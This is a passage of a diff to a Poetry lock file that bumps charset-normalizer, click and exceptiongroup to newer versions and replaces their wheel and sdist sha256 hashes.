"sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-win32.whl", hash = "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448"}, - {file = "charset_normalizer-3.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-win32.whl", hash = "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909"}, - {file = "charset_normalizer-3.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-win32.whl", hash = "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974"}, - {file = "charset_normalizer-3.1.0-cp37-cp37m-win_amd64.whl", hash = "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-win32.whl", hash = "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0"}, - {file = "charset_normalizer-3.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-win32.whl", hash = "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1"}, - {file = "charset_normalizer-3.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b"}, - {file = "charset_normalizer-3.1.0-py3-none-any.whl", hash = "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d"}, + {file = "charset-normalizer-3.2.0.tar.gz", hash = "sha256:3bb3d25a8e6c0aedd251753a79ae98a093c7e7b471faa3aa9a93a81431987ace"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0b87549028f680ca955556e3bd57013ab47474c3124dc069faa0b6545b6c9710"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c70087bfee18a42b4040bb9ec1ca15a08242cf5867c58726530bdf3945672ed"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a103b3a7069b62f5d4890ae1b8f0597618f628b286b03d4bc9195230b154bfa9"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:94aea8eff76ee6d1cdacb07dd2123a68283cb5569e0250feab1240058f53b623"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:db901e2ac34c931d73054d9797383d0f8009991e723dab15109740a63e7f902a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b0dac0ff919ba34d4df1b6131f59ce95b08b9065233446be7e459f95554c0dc8"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:193cbc708ea3aca45e7221ae58f0fd63f933753a9bfb498a3b474878f12caaad"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09393e1b2a9461950b1c9a45d5fd251dc7c6f228acab64da1c9c0165d9c7765c"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:baacc6aee0b2ef6f3d308e197b5d7a81c0e70b06beae1f1fcacffdbd124fe0e3"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:bf420121d4c8dce6b889f0e8e4ec0ca34b7f40186203f06a946fa0276ba54029"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:c04a46716adde8d927adb9457bbe39cf473e1e2c2f5d0a16ceb837e5d841ad4f"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:aaf63899c94de41fe3cf934601b0f7ccb6b428c6e4eeb80da72c58eab077b19a"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:d62e51710986674142526ab9f78663ca2b0726066ae26b78b22e0f5e571238dd"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win32.whl", hash = "sha256:04e57ab9fbf9607b77f7d057974694b4f6b142da9ed4a199859d9d4d5c63fe96"}, + {file = "charset_normalizer-3.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:48021783bdf96e3d6de03a6e39a1171ed5bd7e8bb93fc84cc649d11490f87cea"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4957669ef390f0e6719db3613ab3a7631e68424604a7b448f079bee145da6e09"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:46fb8c61d794b78ec7134a715a3e564aafc8f6b5e338417cb19fe9f57a5a9bf2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:f779d3ad205f108d14e99bb3859aa7dd8e9c68874617c72354d7ecaec2a054ac"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f25c229a6ba38a35ae6e25ca1264621cc25d4d38dca2942a7fce0b67a4efe918"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2efb1bd13885392adfda4614c33d3b68dee4921fd0ac1d3988f8cbb7d589e72a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"}, + {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"}, ] [[package]] name = "click" -version = "8.1.3" +version = "8.1.6" description = "Composable command line interface toolkit" optional = false python-versions = ">=3.7" files = [ - {file = "click-8.1.3-py3-none-any.whl", hash = "sha256:bb4d8133cb15a609f44e8213d9b391b0809795062913b383c62be0ee95b1db48"}, - {file = "click-8.1.3.tar.gz", hash = "sha256:7682dc8afb30297001674575ea00d1814d808d6a36af415a82bd481d37ba7b8e"}, + {file = "click-8.1.6-py3-none-any.whl", hash = "sha256:fa244bb30b3b5ee2cae3da8f55c9e5e0c0e86093306301fb418eb9dc40fbded5"}, + {file = "click-8.1.6.tar.gz", hash = "sha256:48ee849951919527a045bfe3bf7baa8a959c423134e1a5b98c05c20ba75a1cbd"}, ] [package.dependencies] @@ -512,13 +509,13 @@ gmpy2 = ["gmpy2"] [[package]] name = "exceptiongroup" -version = "1.1.1" +version = "1.1.2" description = "Backport of PEP 654 (exception groups)" optional = false python-versions = ">=3.7" files = [ - {file = "exceptiongroup-1.1.1-py3-none-any.whl", hash = "sha256:232c37c63e4f682982c8b6459f33a8981039e5fb8756b2074364e5055c498c9e"}, - {file = "exceptiongroup-1.1.1.tar.gz", hash = "sha256:d484c3090ba2889ae2928419117447a14daf3c1231d5e30d0aae34f354f01785"}, + {file = "exceptiongroup-1.1.2-py3-none-any.whl", hash = "sha256:e346e69d186172ca7cf029c8c1d16235aa0e04035e5750b4b95039e65204328f"}, + {file = "exceptiongroup-1.1.2.tar.gz", hash = 